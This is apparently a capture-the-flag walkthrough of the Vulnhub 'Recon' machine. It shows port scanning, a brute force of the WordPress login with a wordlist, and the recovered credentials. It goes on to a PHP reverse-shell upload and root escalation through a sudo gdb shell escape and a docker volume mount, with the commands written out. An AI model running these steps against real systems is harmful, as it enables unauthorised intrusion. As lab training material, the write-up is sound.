Vulnhub – Recon Walkthrough

We start with nmap –A –T4 –p- –vv

Port 80 is open we can see it’s a WordPress site, so we run wpscan –url -e u

Now before we start to brute force i found a file named in the uploads directory

I’ve download the file to my machine and took a look inside it and it looks like a php script to gain a shell to the target machine it even has the ip of my machine and the port 4545 going to change th port to 4444 and save it for now:

Now we brute force the WordPress with wpscan –url -U reconauthor -P /root/pass/rockyou.txt  and we get the password:

Username: reconauthor password: football7

In the post section we can see there’s a post called “add playload”

Im going to upload the file i found and name it to and put a file named index.html with it inside to be able to upload it without any errors:

Ok got some kind of problem, the file i found has a timout so im going to upload my own shell and visit the link

Now the user www-data can do sudo:

sudo -u offensivehack gdb -nx -ex ‘!sh’ -ex quit

The user offensivehack is part of  docker  that we can priv from here:

sh -c ‘cp $(which docker) .; chmod +s ./docker’

./docker run -v /:/mnt –rm -it alpine chroot /mnt sh

now we catch the flag which is in /root directory:

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